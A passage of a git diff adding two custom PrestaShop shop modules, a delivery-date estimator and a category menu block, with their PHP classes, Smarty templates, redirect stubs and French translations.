b/modules/dateofdelivery/img/cross.png differ diff --git a/modules/dateofdelivery/img/index.php b/modules/dateofdelivery/img/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/dateofdelivery/img/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/dateofdelivery/img/tick.png b/modules/dateofdelivery/img/tick.png new file mode 100755 index 0000000..a9925a0 Binary files /dev/null and b/modules/dateofdelivery/img/tick.png differ diff --git a/modules/dateofdelivery/img/time.png b/modules/dateofdelivery/img/time.png new file mode 100755 index 0000000..911da3f Binary files /dev/null and b/modules/dateofdelivery/img/time.png differ diff --git a/modules/dateofdelivery/img/time_add.png b/modules/dateofdelivery/img/time_add.png new file mode 100755 index 0000000..dcc45cb Binary files /dev/null and b/modules/dateofdelivery/img/time_add.png differ diff --git a/modules/dateofdelivery/img/time_delete.png b/modules/dateofdelivery/img/time_delete.png new file mode 100755 index 0000000..5bf8313 Binary files /dev/null and b/modules/dateofdelivery/img/time_delete.png differ diff --git a/modules/dateofdelivery/index.php b/modules/dateofdelivery/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/dateofdelivery/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/dateofdelivery/logo.gif b/modules/dateofdelivery/logo.gif new file mode 100755 index 0000000..321c583 Binary files /dev/null and b/modules/dateofdelivery/logo.gif differ diff --git a/modules/dateofdelivery/logo.png b/modules/dateofdelivery/logo.png new file mode 100755 index 0000000..2b5502d Binary files /dev/null and b/modules/dateofdelivery/logo.png differ diff --git a/modules/dateofdelivery/orderDetail.tpl b/modules/dateofdelivery/orderDetail.tpl new file mode 100755 index 0000000..5a55ca5 --- /dev/null +++ b/modules/dateofdelivery/orderDetail.tpl @@ -0,0 +1,28 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +{if $datesDelivery|count} +

        {l s='Approximate date of delivery is between %1$s and %2$s' sprintf=[$datesDelivery.0.0, $datesDelivery.1.0] mod='dateofdelivery'} *

        +

        * {l s='with direct payment methods (e.g. credit card)' mod='dateofdelivery'}

        +{/if} \ No newline at end of file diff --git a/modules/dateofdelivery/translations/fr.php b/modules/dateofdelivery/translations/fr.php new file mode 100755 index 0000000..1120491 --- /dev/null +++ b/modules/dateofdelivery/translations/fr.php @@ -0,0 +1,76 @@ +beforecarrier_75261aaef97717dda0ca98743b24f8f3'] = 'Date approximative de livraison avec ce transporteur est entre le'; +$_MODULE['<{dateofdelivery}prestashop>beforecarrier_c31e7bcb78c69bd37e6e77be0183567f'] = 'Il y\'a %s paquets, qui seront livré approximativement entre le'; +$_MODULE['<{dateofdelivery}prestashop>beforecarrier_be5d5d37542d75f93a87094459f76678'] = 'et'; +$_MODULE['<{dateofdelivery}prestashop>beforecarrier_c9ed8c0b07828727ca6653924b0498d3'] = 'avec un moyen de paiement direct (ex. : carte bancaire)'; +$_MODULE['<{dateofdelivery}prestashop>dateofdelivery_b0f76e26cffaf27784d901a64f39593e'] = 'Date de livraison'; +$_MODULE['<{dateofdelivery}prestashop>dateofdelivery_98110868b266d63c3bacdac4430169cf'] = 'Afficher une date approximative de livraison'; +$_MODULE['<{dateofdelivery}prestashop>dateofdelivery_a39df5444246aeb081729db7e17f51bc'] = 'Configuration: Date de livraison'; +$_MODULE['<{dateofdelivery}prestashop>dateofdelivery_32dfb655a7b12a2c5662516e82f5d79b'] = 'Date approximative de livraison est entre le %1$s et le %2$s'; +$_MODULE['<{dateofdelivery}prestashop>dateofdelivery_0ea55758c7a68c0309b915e4b718d6b8'] = 'Le format de la date est invalide'; +$_MODULE['<{dateofdelivery}prestashop>dateofdelivery_7ccf58c950043c9fbfed668df13ce608'] = 'Paramètres mis à jour'; +$_MODULE['<{dateofdelivery}prestashop>dateofdelivery_ecfe3ba0ff66a97029088e8e90a3f051'] = 'Délais minimum incorrect'; +$_MODULE['<{dateofdelivery}prestashop>dateofdelivery_0245cd1cce5ecea8eb23b043be00d80a'] = 'Délais maximum incorrect'; +$_MODULE['<{dateofdelivery}prestashop>dateofdelivery_e6843321c8b0edea8cf333519316ed7b'] = 'Transporteur invalide'; +$_MODULE['<{dateofdelivery}prestashop>dateofdelivery_17673c1595a3722522f581c854b8edc5'] = 'vous ne pouvez pas utiliser de transporteur, une régle a déjà été enregistrée'; +$_MODULE['<{dateofdelivery}prestashop>dateofdelivery_50e1f1030812a9a8fd66dfff17099fcd'] = 'une erreur s\'est produite lors de l\'ajout de la régle'; +$_MODULE['<{dateofdelivery}prestashop>dateofdelivery_240276f48ff2e0e5fe620ff311e677b5'] = 'une erreur s\'est produite lors de la mise à jour de la régle'; +$_MODULE['<{dateofdelivery}prestashop>dateofdelivery_b9e3eda70ccb175c96a56bd79b89bd8b'] = 'Régle de transporteur a été supprimée avec succés'; +$_MODULE['<{dateofdelivery}prestashop>dateofdelivery_25e775663057cfc945da15827d972699'] = 'Régle de transporteur a été ajoutée avec succés'; +$_MODULE['<{dateofdelivery}prestashop>dateofdelivery_c20585756aa4f1b448a11ce77a054e32'] = 'Régle de transporteur a été mise à jour avec succés'; +$_MODULE['<{dateofdelivery}prestashop>dateofdelivery_2b5bf8ae8e565a30e2f05c856f5f5f8b'] = 'Configuration de transporteur'; +$_MODULE['<{dateofdelivery}prestashop>dateofdelivery_e6ff622b31d0cd1c32c775d1e1f20831'] = 'Ajouter une nouvelle règle de transporteur'; +$_MODULE['<{dateofdelivery}prestashop>dateofdelivery_1b2995b648d396416ae8648d719e1a20'] = 'Liste des règles de transporteur'; +$_MODULE['<{dateofdelivery}prestashop>dateofdelivery_aeae9747bcdc4f7c25aa95c2a6765952'] = 'Nom du transporteur'; +$_MODULE['<{dateofdelivery}prestashop>dateofdelivery_1b9f5204ddf0881dc9f3a7bf65d4ac15'] = 'Livraison entre'; +$_MODULE['<{dateofdelivery}prestashop>dateofdelivery_52f253c711cff509bd5e4df2b18b697a'] = 'livraison le Samedi'; +$_MODULE['<{dateofdelivery}prestashop>dateofdelivery_fcddbca356dee064438a399fc0c4c84e'] = 'livraison le Dimanche'; +$_MODULE['<{dateofdelivery}prestashop>dateofdelivery_06df33001c1d7187fdd81ea1f5b277aa'] = 'Actions'; +$_MODULE['<{dateofdelivery}prestashop>dateofdelivery_b5813d499e8a122485995dd7851c1fb2'] = '%1$d jour(s) et %2$d jour(s)'; +$_MODULE['<{dateofdelivery}prestashop>dateofdelivery_93cba07454f06a4a960172bbd6e2a435'] = 'Oui'; +$_MODULE['<{dateofdelivery}prestashop>dateofdelivery_bafd7322c6e97d25b6299b5d6fe8920b'] = 'Non'; +$_MODULE['<{dateofdelivery}prestashop>dateofdelivery_7dce122004969d56ae2e0245cb754d35'] = 'Modifier'; +$_MODULE['<{dateofdelivery}prestashop>dateofdelivery_f2a6c498fb90ee345d997f888fce3b18'] = 'Supprimer'; +$_MODULE['<{dateofdelivery}prestashop>dateofdelivery_58f748703db13e81b6ca6c366d1ab50c'] = 'Aucune règle de transporteur'; +$_MODULE['<{dateofdelivery}prestashop>dateofdelivery_4dab36ac83853282fc0d7bae20c19e90'] = 'Plus d\'options'; +$_MODULE['<{dateofdelivery}prestashop>dateofdelivery_0008e84621e5c9f21f8a55387a28692f'] = 'Temps supplémentaire lorsqu\'un produit est hors stock'; +$_MODULE['<{dateofdelivery}prestashop>dateofdelivery_225e75c29d32392d311f5dc94c792384'] = 'jour(s)'; +$_MODULE['<{dateofdelivery}prestashop>dateofdelivery_521d02cf307201053a46e0b9c5b5170c'] = 'Temps supplémentaire pour la préparation des commandes'; +$_MODULE['<{dateofdelivery}prestashop>dateofdelivery_cec31ec82e3bdee482baaa9f5b11eeed'] = 'Option pour la préparation'; +$_MODULE['<{dateofdelivery}prestashop>dateofdelivery_15b4020fafe2bcadf41fbdb2e7fa137a'] = 'préparation le Samedi'; +$_MODULE['<{dateofdelivery}prestashop>dateofdelivery_9685cbc6ac9090137fb087d4f48d0561'] = 'préparation le Dimanche'; +$_MODULE['<{dateofdelivery}prestashop>dateofdelivery_104f1a7d59077b514d4105fcee0e42ff'] = 'Format de la date :'; +$_MODULE['<{dateofdelivery}prestashop>dateofdelivery_f19cb36e3ae263c8c3617a453a0ff521'] = 'Vous pouvez voir tous les paramètres disponibles à l\'adresse suivante:'; +$_MODULE['<{dateofdelivery}prestashop>dateofdelivery_c9cc8cce247e49bae79f15173ce97354'] = 'Enregistrer'; +$_MODULE['<{dateofdelivery}prestashop>dateofdelivery_168ee9f4820976c4f4055cd817965df4'] = 'Nouvelle règle de transporteur'; +$_MODULE['<{dateofdelivery}prestashop>dateofdelivery_8c5961161cc9ce6db81bf3be77091136'] = 'Modification d\'une règle de transporteur'; +$_MODULE['<{dateofdelivery}prestashop>dateofdelivery_f8617a92ba0a0a4eabee724eab7c9f48'] = 'Transporteur :'; +$_MODULE['<{dateofdelivery}prestashop>dateofdelivery_961f2247a2070bedff9f9cd8d64e2650'] = 'Choisissez'; +$_MODULE['<{dateofdelivery}prestashop>dateofdelivery_7b367091d009d1a4be71a6a72494894f'] = 'jour(s) et'; +$_MODULE['<{dateofdelivery}prestashop>dateofdelivery_d3e0fc43c22a6bb8e2d271a29b2f06fd'] = 'Option de livraison :'; +$_MODULE['<{dateofdelivery}prestashop>dateofdelivery_ea4788705e6873b424c65e91c2846b19'] = 'Annuler'; +$_MODULE['<{dateofdelivery}prestashop>dateofdelivery_9d1a0949c39e66a0cd65240bc0ac9177'] = 'Dimanche'; +$_MODULE['<{dateofdelivery}prestashop>dateofdelivery_6f8522e0610541f1ef215a22ffa66ff6'] = 'Lundi'; +$_MODULE['<{dateofdelivery}prestashop>dateofdelivery_5792315f09a5d54fb7e3d066672b507f'] = 'Mardi'; +$_MODULE['<{dateofdelivery}prestashop>dateofdelivery_796c163589f295373e171842f37265d5'] = 'Mercredi'; +$_MODULE['<{dateofdelivery}prestashop>dateofdelivery_78ae6f0cd191d25147e252dc54768238'] = 'Jeudi'; +$_MODULE['<{dateofdelivery}prestashop>dateofdelivery_c33b138a163847cdb6caeeb7c9a126b4'] = 'Vendredi'; +$_MODULE['<{dateofdelivery}prestashop>dateofdelivery_8b7051187b9191cdcdae6ed5a10e5adc'] = 'Samedi'; +$_MODULE['<{dateofdelivery}prestashop>dateofdelivery_86f5978d9b80124f509bdb71786e929e'] = 'Janvier'; +$_MODULE['<{dateofdelivery}prestashop>dateofdelivery_659e59f062c75f81259d22786d6c44aa'] = 'Février'; +$_MODULE['<{dateofdelivery}prestashop>dateofdelivery_fa3e5edac607a88d8fd7ecb9d6d67424'] = 'Mars'; +$_MODULE['<{dateofdelivery}prestashop>dateofdelivery_3fcf026bbfffb63fb24b8de9d0446949'] = 'Avril'; +$_MODULE['<{dateofdelivery}prestashop>dateofdelivery_195fbb57ffe7449796d23466085ce6d8'] = 'Mai'; +$_MODULE['<{dateofdelivery}prestashop>dateofdelivery_688937ccaf2a2b0c45a1c9bbba09698d'] = 'Juin'; +$_MODULE['<{dateofdelivery}prestashop>dateofdelivery_1b539f6f34e8503c97f6d3421346b63c'] = 'Juillet'; +$_MODULE['<{dateofdelivery}prestashop>dateofdelivery_41ba70891fb6f39327d8ccb9b1dafb84'] = 'Août'; +$_MODULE['<{dateofdelivery}prestashop>dateofdelivery_cc5d90569e1c8313c2b1c2aab1401174'] = 'Septembre'; +$_MODULE['<{dateofdelivery}prestashop>dateofdelivery_eca60ae8611369fe28a02e2ab8c5d12e'] = 'Octobre'; +$_MODULE['<{dateofdelivery}prestashop>dateofdelivery_7e823b37564da492ca1629b4732289a8'] = 'Novembre'; +$_MODULE['<{dateofdelivery}prestashop>dateofdelivery_82331503174acbae012b2004f6431fa5'] = 'Décembre'; +$_MODULE['<{dateofdelivery}prestashop>orderdetail_32dfb655a7b12a2c5662516e82f5d79b'] = 'Date approximative de livraison est entre le %1$s et le %2$s'; +$_MODULE['<{dateofdelivery}prestashop>orderdetail_c9ed8c0b07828727ca6653924b0498d3'] = 'avec un moyen de paiement direct (ex. : carte bancaire)'; diff --git a/modules/dateofdelivery/translations/index.php b/modules/dateofdelivery/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/dateofdelivery/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/devspeblockcategories/category-tree-branch.tpl b/modules/devspeblockcategories/category-tree-branch.tpl new file mode 100755 index 0000000..1ca5b66 --- /dev/null +++ b/modules/devspeblockcategories/category-tree-branch.tpl @@ -0,0 +1,40 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +{if $compteur == 6} + +
          +{/if} +{if $node.id!=3 && $node.id < 12} +
        • + {$node.name|escape:'htmlall':'UTF-8'} +
        • +{else} + +{/if} +{if $node.children|@count > 0} + {foreach from=$node.children item=child name=categoryTreeBranch} + {include file="$branche_tpl_path" node=$child compteur=$compteur++} + {/foreach} +{/if} diff --git a/modules/devspeblockcategories/devspeblockcategories.php b/modules/devspeblockcategories/devspeblockcategories.php new file mode 100755 index 0000000..6a7b566 --- /dev/null +++ b/modules/devspeblockcategories/devspeblockcategories.php @@ -0,0 +1,298 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +class devspeBlockcategories extends Module +{ + public function __construct() + { + $this->name = 'devspeblockcategories'; + $this->version = '1.0'; + + parent::__construct(); + + $this->displayName = $this->l('Categories block'); + $this->description = $this->l('Adds a block featuring product categories.'); + } + + public function install() + { + if (!parent::install() || + !$this->registerHook('top') || + !$this->registerHook('header') || + // Temporary hooks. Do NOT hook any module on it. Some CRUD hook will replace them as soon as possible. + !$this->registerHook('productAddition') || + !$this->registerHook('productUpdate') || + !$this->registerHook('productDeletion') || + !$this->registerHook('categoryAddition') || + !$this->registerHook('categoryUpdate') || + !$this->registerHook('categoryDeletion') || + !$this->registerHook('actionAdminMetaControllerUpdate_optionsBefore') || + !$this->registerHook('actionAdminLanguagesControllerStatusBefore') || + !Configuration::updateValue('BLOCK_CATEG_MAX_DEPTH', 4) || + !Configuration::updateValue('BLOCK_CATEG_DHTML', 1)) + return false; + return true; + } + + public function uninstall() + { + if (!parent::uninstall() || + !Configuration::deleteByName('BLOCK_CATEG_MAX_DEPTH') || + !Configuration::deleteByName('BLOCK_CATEG_DHTML')) + return false; + return true; + } + + public function getContent() + { + $output = '

          '.$this->displayName.'

          '; + if (Tools::isSubmit('submitdevspeblockcategories')) + { + $maxDepth = (int)(Tools::getValue('maxDepth')); + $dhtml = Tools::getValue('dhtml'); + $nbrColumns = Tools::getValue('nbrColumns', 4); + if ($maxDepth < 0) + $output .= '
          '.$this->l('Maximum depth: Invalid number.').'
          '; + elseif ($dhtml != 0 && $dhtml != 1) + $output .= '
          '.$this->l('Dynamic HTML: Invalid choice.').'
          '; + else + { + Configuration::updateValue('BLOCK_CATEG_MAX_DEPTH', (int)($maxDepth)); + Configuration::updateValue('BLOCK_CATEG_DHTML', (int)($dhtml)); + Configuration::updateValue('BLOCK_CATEG_NBR_COLUMN_FOOTER', $nbrColumns); + Configuration::updateValue('BLOCK_CATEG_SORT_WAY', Tools::getValue('BLOCK_CATEG_SORT_WAY')); + Configuration::updateValue('BLOCK_CATEG_SORT', Tools::getValue('BLOCK_CATEG_SORT')); + + $this->_cleardevspeblockcategoriesCache(); + $output .= '
          '.$this->l('Settings updated').'
          '; + } + } + return $output.$this->displayForm(); + } + + public function displayForm() + { + return ' +
          +
          + '.$this->l('Settings').' + +
          + +

          '.$this->l('Set the maximum depth of sublevels displayed in this block (0 = infinite)').'

          +
          + + +
          + + + + +

          '.$this->l('Activate dynamic (animated) mode for sublevels.').'

          +
          + + +
          + + + + - + +
          + +
          + +

          '.$this->l('Define the number of footer columns.').'

          +
          +
          +
          +
          '; + } + + public function getTree($resultParents, $resultIds, $maxDepth, $id_category = null, $currentDepth = 0) + { + if (is_null($id_category)) + $id_category = $this->context->shop->getCategory(); + + $children = array(); + if (isset($resultParents[$id_category]) && count($resultParents[$id_category]) && ($maxDepth == 0 || $currentDepth < $maxDepth)) + foreach ($resultParents[$id_category] as $subcat) + $children[] = $this->getTree($resultParents, $resultIds, $maxDepth, $subcat['id_category'], $currentDepth + 1); + if (!isset($resultIds[$id_category])) + return false; + $return = array('id' => $id_category, 'link' => $this->context->link->getCategoryLink($id_category, $resultIds[$id_category]['link_rewrite']), + 'name' => $resultIds[$id_category]['name'], 'desc'=> $resultIds[$id_category]['description'], + 'children' => $children); + return $return; + } + + public function hookTop($params) + { + // echo($sql); + $this->smarty->assign('idProduct', 0); + $this->smarty->assign('idCategory', 0); + if(Tools::getValue('id_product')){ + $this->smarty->assign('idProduct', (int)Tools::getValue('id_product')); + } + if(Tools::getValue('id_category')){ + $this->smarty->assign('idCategory', (int)Tools::getValue('id_category')); + } + if (!$this->isCached('devspeblockcategories.tpl', $this->getCacheId())) + { + + $sql=' + SELECT pl.name,pl.link_rewrite,pl.meta_title,p.id_product + FROM `'._DB_PREFIX_.'product` p + left JOIN `'._DB_PREFIX_.'product_lang` pl ON (p.`id_product` = pl.`id_product` AND pl.`id_lang` = '.(int)$this->context->language->id.') + left JOIN `'._DB_PREFIX_.'category_product` cp ON (cp.`id_product` = p.`id_product` AND cp.`id_category` = 2) + where p.active=1 + and p.id_category_default!=12 + ORDER BY cp.`position` ASC'; + $products=Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql); + $this->smarty->assign('fullProducts', $products); + + // Get all groups for this customer and concatenate them as a string: "1,2,3..." + $groups = implode(', ', Customer::getGroupsStatic((int)$this->context->customer->id)); + $maxdepth = Configuration::get('BLOCK_CATEG_MAX_DEPTH'); + if (!$result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT DISTINCT c.id_parent, c.id_category, cl.name, cl.description, cl.link_rewrite + FROM `'._DB_PREFIX_.'category` c + INNER JOIN `'._DB_PREFIX_.'category_lang` cl ON (c.`id_category` = cl.`id_category` AND cl.`id_lang` = '.(int)$this->context->language->id.Shop::addSqlRestrictionOnLang('cl').') + INNER JOIN `'._DB_PREFIX_.'category_shop` cs ON (cs.`id_category` = c.`id_category` AND cs.`id_shop` = '.(int)$this->context->shop->id.') + WHERE (c.`active` = 1 OR c.`id_category` = '.(int)Configuration::get('PS_HOME_CATEGORY').') + AND c.`id_category` != '.(int)Configuration::get('PS_ROOT_CATEGORY').' + '.((int)$maxdepth != 0 ? ' AND `level_depth` <= '.(int)$maxdepth : '').' + AND c.id_category IN (SELECT id_category FROM `'._DB_PREFIX_.'category_group` WHERE `id_group` IN ('.pSQL($groups).')) + ORDER BY `level_depth` ASC, '.(Configuration::get('BLOCK_CATEG_SORT') ? 'cl.`name`' : 'cs.`position`').' '.(Configuration::get('BLOCK_CATEG_SORT_WAY') ? 'DESC' : 'ASC'))) + return; + + $resultParents = array(); + $resultIds = array(); + + foreach ($result as &$row) + { + $resultParents[$row['id_parent']][] = &$row; + $resultIds[$row['id_category']] = &$row; + } + + $blockCategTree = $this->getTree($resultParents, $resultIds, Configuration::get('BLOCK_CATEG_MAX_DEPTH')); + unset($resultParents, $resultIds); + + $id_category = (int)Tools::getValue('id_category'); + $id_product = (int)Tools::getValue('id_product'); + + $isDhtml = (Configuration::get('BLOCK_CATEG_DHTML') == 1 ? true : false); + if (Tools::isSubmit('id_category')) + { + $this->context->cookie->last_visited_category = $id_category; + $this->smarty->assign('currentCategoryId', $this->context->cookie->last_visited_category); + } + if (Tools::isSubmit('id_product')) + { + if (!isset($this->context->cookie->last_visited_category) + || !Product::idIsOnCategoryId($id_product, array('0' => array('id_category' => $this->context->cookie->last_visited_category))) + || !Category::inShopStatic($this->context->cookie->last_visited_category, $this->context->shop)) + { + $product = new Product($id_product); + if (isset($product) && Validate::isLoadedObject($product)) + $this->context->cookie->last_visited_category = (int)$product->id_category_default; + } + $this->smarty->assign('currentCategoryId', (int)$this->context->cookie->last_visited_category); + } + $this->smarty->assign('blockCategTree', $blockCategTree); + + if (file_exists(_PS_THEME_DIR_.'modules/devspeblockcategories/devspeblockcategories.tpl')) + $this->smarty->assign('branche_tpl_path', _PS_THEME_DIR_.'modules/devspeblockcategories/category-tree-branch.tpl'); + else + $this->smarty->assign('branche_tpl_path', _PS_MODULE_DIR_.'devspeblockcategories/category-tree-branch.tpl'); + $this->smarty->assign('isDhtml', $isDhtml); + } + $display = $this->display(__FILE__, 'devspeblockcategories.tpl', $this->getCacheId()); + return $display; + } + + protected function getCacheId($name = null) + { + parent::getCacheId($name); + + $groups = implode(', ', Customer::getGroupsStatic((int)$this->context->customer->id)); + $id_product = (int)Tools::getValue('id_product', 0); + $id_category = (int)Tools::getValue('id_category', 0); + $id_lang = (int)$this->context->language->id; + return 'devspeblockcategories|'.(int)Tools::usingSecureMode().'|'.$this->context->shop->id.'|'.$groups.'|'.$id_lang.'|'.$id_product.'|'.$id_category; + } + public function hookHeader() + { + $this->context->controller->addJS(_THEME_JS_DIR_.'tools/treeManagement.js'); + $this->context->controller->addCSS(($this->_path).'devspeblockcategories.css', 'all'); + } + + private function _cleardevspeblockcategoriesCache() + { + $this->_clearCache('devspeblockcategories.tpl'); + $this->_clearCache('devspeblockcategories_footer.tpl'); + } + + public function hookProductAddition($params) + { + $this->_cleardevspeblockcategoriesCache(); + } + + public function hookProductUpdate($params) + { + $this->_cleardevspeblockcategoriesCache(); + } + + public function hookProductDeletion($params) + { + $this->_cleardevspeblockcategoriesCache(); + } + public function hookCategoryAddition($params) + { + $this->_cleardevspeblockcategoriesCache(); + } + + public function hookCategoryUpdate($params) + { + $this->_cleardevspeblockcategoriesCache(); + } + + public function hookCategoryDeletion($params) + { + $this->_cleardevspeblockcategoriesCache(); + } + + public function hookActionAdminMetaControllerUpdate_optionsBefore($params) + { + $this->_cleardevspeblockcategoriesCache(); + } +} diff --git a/modules/devspeblockcategories/devspeblockcategories.tpl b/modules/devspeblockcategories/devspeblockcategories.tpl new file mode 100755 index 0000000..daf14e8 --- /dev/null +++ b/modules/devspeblockcategories/devspeblockcategories.tpl @@ -0,0 +1,68 @@ + +{if isset($HOOK_MOBILE_HEADER)} +{else} + +
          +
          +
          +
          +

          {l s='Nos gammes et produits' mod='devspeblockcategories'}

          + {*assign var=compteurFP value=$fullProducts|@count/2*} +
          +
            + {foreach from=$fullProducts item=produit name=fullProducts} + {if $smarty.foreach.fullProducts.index < 6} +
          • {$produit.name}
          • + {/if} + {/foreach} +
          +
            + {foreach from=$fullProducts item=produit name=fullProducts} + {if $smarty.foreach.fullProducts.index == 6} +
          • {$produit.name}
          • + {/if} + {/foreach} + {foreach from=$blockCategTree.children item=child name=blockCategTree} + {if $child.id>=18 && $child.id <= 21} +
          • + {$child.name|escape:'htmlall':'UTF-8'} +
          • + {/if} + {/foreach} +
          +
          +
          +
          +

          {l s='Vos besoins' mod='devspeblockcategories'}

          + +
            + {assign var=compteur value=0} + {foreach from=$blockCategTree.children item=child name=blockCategTree} + {include file="$branche_tpl_path" node=$child compteur=$compteur} + {/foreach} +
          +
          +
          +
          +
          +
          + +{literal} + +{/literal} +{/if} \ No newline at end of file diff --git a/modules/devspeblockcategories/img/arrow_right_2.png b/modules/devspeblockcategories/img/arrow_right_2.png new file mode 100755 index 0000000..c970f18 Binary files /dev/null and b/modules/devspeblockcategories/img/arrow_right_2.png differ diff --git a/modules/devspeblockcategories/img/icon/index.php b/modules/devspeblockcategories/img/icon/index.php new file mode 100755 index 0000000..3f4b16e --- /dev/null +++ b/modules/devspeblockcategories/img/icon/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../'); +exit; \ No newline at end of file diff --git a/modules/devspeblockcategories/img/icon/open-close.png b/modules/devspeblockcategories/img/icon/open-close.png new file mode 100755 index 0000000..0552971 Binary files /dev/null and b/modules/devspeblockcategories/img/icon/open-close.png differ diff --git a/modules/devspeblockcategories/img/index.php b/modules/devspeblockcategories/img/index.php new file mode 100755 index 0000000..fd6bae0 --- /dev/null +++ b/modules/devspeblockcategories/img/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../'); +exit; \ No newline at end of file diff --git a/modules/devspeblockcategories/index.php b/modules/devspeblockcategories/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/devspeblockcategories/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/devspeblockcategories/logo.gif b/modules/devspeblockcategories/logo.gif new file mode 100755 index 0000000..779ad58 Binary files /dev/null and b/modules/devspeblockcategories/logo.gif differ diff --git a/modules/devspeblockcategories/logo.png b/modules/devspeblockcategories/logo.png new file mode 100755 index 0000000..f37bb3e Binary files /dev/null and b/modules/devspeblockcategories/logo.png differ diff --git a/modules/devspeblockcategories/sort_alphabet.png b/modules/devspeblockcategories/sort_alphabet.png new file mode 100755 index 0000000..28353f2 Binary files /dev/null and b/modules/devspeblockcategories/sort_alphabet.png differ diff --git a/modules/devspeblockcategories/sort_number.png b/modules/devspeblockcategories/sort_number.png new file mode 100755 index 0000000..2bc8574 Binary files /dev/null and b/modules/devspeblockcategories/sort_number.png differ diff --git a/modules/devspeblockcategories/translations/en.php b/modules/devspeblockcategories/translations/en.php new file mode 100755 index 0000000..0ae77c9 --- /dev/null +++ b/modules/devspeblockcategories/translations/en.php @@ -0,0 +1,4 @@ +blockcategories_footer_af1b98adf7f686b84cd0b443e022b7a0'] = 'Catégories'; +$_MODULE['<{blockcategories}prestashop>blockcategories_8f0ed7c57fca428f7e3f8e64d2f00918'] = 'Bloc catégories'; 